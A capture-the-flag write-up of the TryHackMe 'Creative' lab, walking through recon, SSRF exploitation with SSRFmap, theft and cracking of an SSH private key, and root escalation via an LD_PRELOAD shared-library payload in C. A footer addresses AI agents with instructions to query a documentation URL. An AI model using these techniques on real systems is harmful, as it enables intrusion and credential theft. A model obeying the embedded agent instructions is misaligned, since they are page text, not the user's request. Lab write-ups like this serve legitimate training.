# Creative

{% embed url="<https://tryhackme.com/r/room/creative>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="/files/fgutP6VmsOsVHYVe8Cfh" alt="" data-size="line"><img src="/files/J1FStDkVaABJlaGdbdeX" alt="" data-size="line">

**`Machine IP`**: 10.10.65.65

**`Nmap Scan`**:

```python
nmap -p- -A -v --min-rate 100 -oN creative_thm -Pn 10.10.65.65

Nmap scan report for 10.10.65.65
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://creative.thm
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 45.475 days (since Tue Feb 27 06:46:24 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   157.07 ms 10.11.0.1
2   157.09 ms 10.10.65.65

```

From the scan we can see that the domain name is **`creative.thm`** from the **`http-title`** part. We can also find this out by just searching the machine IP in Firefox instead of waiting for the scan to complete.&#x20;

Now an entry can be made in the **`/etc/hosts`** file.

**`Command`**:

```python
echo "10.10.65.65 creative.thm" | sudo tee -a /etc/hosts >/dev/null
```

**`Checking out port 80`**:

<figure><img src="/files/OKhAXyARKYUp3Ym9N8Us" alt=""><figcaption></figcaption></figure>

We have a **`contact form`** here:

<figure><img src="/files/KWhW33eroipsJuecy9ap" alt=""><figcaption></figcaption></figure>

**`Testing out a basic XSS Payload`**:

Now let's set up a **`netcat`** listener on port **`80`**. If the above payload works we should be getting a connection back on our listener which basically shows that the server has reached out to our machine. The **`IP`** specified in the payload is the **`tun0`** interface **`IP`**.

<figure><img src="/files/tZPTJ66UxI0GkIGDapQB" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/hl006jiDrJWl56Kjrsjd" alt=""><figcaption></figcaption></figure></div>

But unfortunately we don't get any connection on the listener.

We can now do some **`directory busting`** :

**`Command`**:

```python
dirsearch -u http://creative.thm -t 1000  //It is highly recommended to not use a high thread count like in this case, on legit targets due to the amount of noise it would generate.
```

<div align="left"><figure><img src="/files/miMjSG1GcSFvHqrYIBDT" alt=""><figcaption></figcaption></figure></div>

The **`/assets`** path was Forbidden.

<div align="left"><figure><img src="/files/RIEuj5WGhLMPKTp4mnWX" alt=""><figcaption></figcaption></figure></div>

We have no other paths.

Now let us do a **`VHost Busting`**:

**`Command`**:

```python
gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://creative.thm --append-domain creative.thm
```

<figure><img src="/files/kFJE1VHWOztKIwduyvET" alt=""><figcaption></figcaption></figure>

There is a subdomain named: **`beta.creative.thm`**. Now we can this to the **`hosts`** file.

**`Checking out the newly found subdomain`**:

<figure><img src="/files/I376wLJKTBfPMPZ2cJrz" alt=""><figcaption></figcaption></figure>

There is a dialog box where **`URL's`** can be entered and the description says it will check if the **`URL`** submitted is **`alive or not`**.

The first thought was of trying **`Command Injection`**, but had no success.

Let us now check if it is vulnerable to **`SSRF`**:

We can do this using a tool called **`SSRFmap`** which is a semi-automatic operating tool that exploits the vulnerability to fetch information. It provides ready-made **`modules`** that we can make use of.&#x20;

{% embed url="<https://github.com/swisskyrepo/SSRFmap>" %}
SSRFmap
{% endembed %}

{% embed url="<https://www.kitploit.com/2019/02/ssrfmap-automatic-ssrf-fuzzer-and.html>" %}

The tool takes a Burp **`request file`** as input and a **`parameter`** to fuzz. Now let us intercept the request in Burp post clicking on **`Submit`** (The dialog box can be left empty or you can type in anything that you want to):

<div align="left"><figure><img src="/files/DM8GsVJisQpLwsY9eDfJ" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/gsYq3722IXgIeRj2MqBe" alt=""><figcaption></figcaption></figure></div>

The parameter that we have is: **`url`**

**`Commands`**:

```python
git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap
```

```python
python3 ssrfmap.py -r request -p url -m portscan
```

&#x20;The **`portscan`** module scans top **`8000`** ports for the host.

Now the **`request`** shown in the snippet above has to be saved to a file, have named it **`request`** in this case.&#x20;

**`Running the tool`**:

<div align="left"><figure><img src="/files/r9D7lwTThW6e5ewpE8m4" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/Bogm3XSndR1imcDBmGo1" alt=""><figcaption></figcaption></figure></div>

It found **`two`** open ports on the machine's localhost: **`80`** & **`1337`**. The same output can be achieved by using **`ffuf`**, **`wfuzz`**, **`Burp's Intruder`** etc.

Now we can use payloads like these to fetch information:

<div align="left"><figure><img src="/files/iiczc1udwFEwpzGXz5Id" alt=""><figcaption></figcaption></figure></div>

**`Payloads`**:

```python
http://127.0.1:1337  //This is a classic bypass, which consists of replacing 127.0.0.1 with 127.0.1
```

```python
http://127.0.0.1:1337
```

<figure><img src="/files/HtapmEDrKi12u2h61bKB" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/vbF4fTH1EKpKu1mK5F8f" alt=""><figcaption></figcaption></figure></div>

The payload worked and now we have a listing of all the directories on the machine.&#x20;

Let us get inside the **`/home`** directory:

<div align="left"><figure><img src="/files/cLddBFaVm8efF2EYB1jJ" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/gnz6i2SN9zgUgjabn9CH" alt=""><figcaption></figcaption></figure></div>

We have a user named **`saad`**. Upon further climbing the directories, we get to the private key of **`saad`** within the **`.ssh`** directory:

<div align="left"><figure><img src="/files/1HvtuoGKRODlTAurcfIe" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/LehZ7X6mVA6jJIO7KbdQ" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/C0zCQpNOjOyVVktup7jE" alt=""><figcaption></figcaption></figure></div>

We have the key in the correct format in the page source.

**`SSH ing in as saad`**:

Using the private key, post giving the file the needed permissions (**`chmod 400/600`**) we can **`SSH`** in as **`saad`**:

**`Command`**:

```python
ssh saad@creative.thm -i id_rsa
```

<div align="left"><figure><img src="/files/8lhdC6JV6dU97d0p9E60" alt=""><figcaption></figcaption></figure></div>

We notice that it is asking for the private key's passphrase. An **`id_rsa passphrase`** is an additional layer of security that can be added to the private key of an SSH key pair.

There are tools like **`ssh2john`** that converts the current private key format to **`John`** format which can then be used with **`John The Ripper`** tool to crack the passphrase.

**`Commands`**:

```python
ssh2john id_rsa > id_rsa_john_format
```

```python
john --wordlist=/usr/share/wordlist/rockyou.txt id_rsa_john_format
```

<div align="left"><figure><img src="/files/3s7BIoOnkACgPov2Bm6E" alt=""><figcaption></figcaption></figure></div>

**`Note`**:

Since I had already done the cracking before, I have used the **`--show`** switch of john to show the passphrase.

**`SSH ing in as saad with the obtained passsphrase`**:

<figure><img src="/files/d6xKr3IiQNYotqnqVOsl" alt=""><figcaption></figcaption></figure>

The user flag can now be fetched from the users **`/home`** directory. We could also take it from the **`URL Tester`** page by submitting this: **`http://127.0.1:1337/home/saad/user.txt`**.

Upon checking out the **`.bash_history`** file we find **`saad's`** password:

<div align="left"><figure><img src="/files/rUTUL04xyT0qLk8XdLPh" alt=""><figcaption></figcaption></figure></div>

In Bash, your command history is stored in a file ( **`.bash_history`** ) in your home directory. Now we can check for **`sudo`** rights.

**`Privilege Escalation`**:\
\
We can now check for **`saad's`** **`sudo`** rights/privs:

<figure><img src="/files/Xg6SCzcZtUowtlrqr3Fn" alt=""><figcaption></figcaption></figure>

**`saad`** has the ability to run **`/usr/bin/ping`** as the **`root`** user using **`sudo`**. The **`LD_PRELOAD`** environment variable is retained when executing commands with **`sudo`**, which is used for preloading **`shared libraries`** into a program's memory.

This environment variable can be exploited to **`privilege escalate`**.

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/>" %}

Create a **`C-program`** within a directory we have write permissions on, we can use the **`/tmp`** directory in this case:

<div align="left"><figure><img src="/files/QErclwquahnXWaG0oYmH" alt=""><figcaption></figcaption></figure></div>

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

```

**`Command`**:

```python
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

<figure><img src="/files/kOVdklNnyz7H0s0gFFNo" alt=""><figcaption></figcaption></figure>

This creates a **`shell.so`** file. The warnings can be ignored.

**`Command`**:

```python
sudo LD_PRELOAD=/tmp/shell.so ping
```

<div align="left"><figure><img src="/files/siBmDPYAR1oYyx51MmgP" alt=""><figcaption></figcaption></figure></div>

Now we are root and can fetch the root flag from the **`/root`** directory.

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://manav-g-krishna.gitbook.io/tryhackme-writeups/creative.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.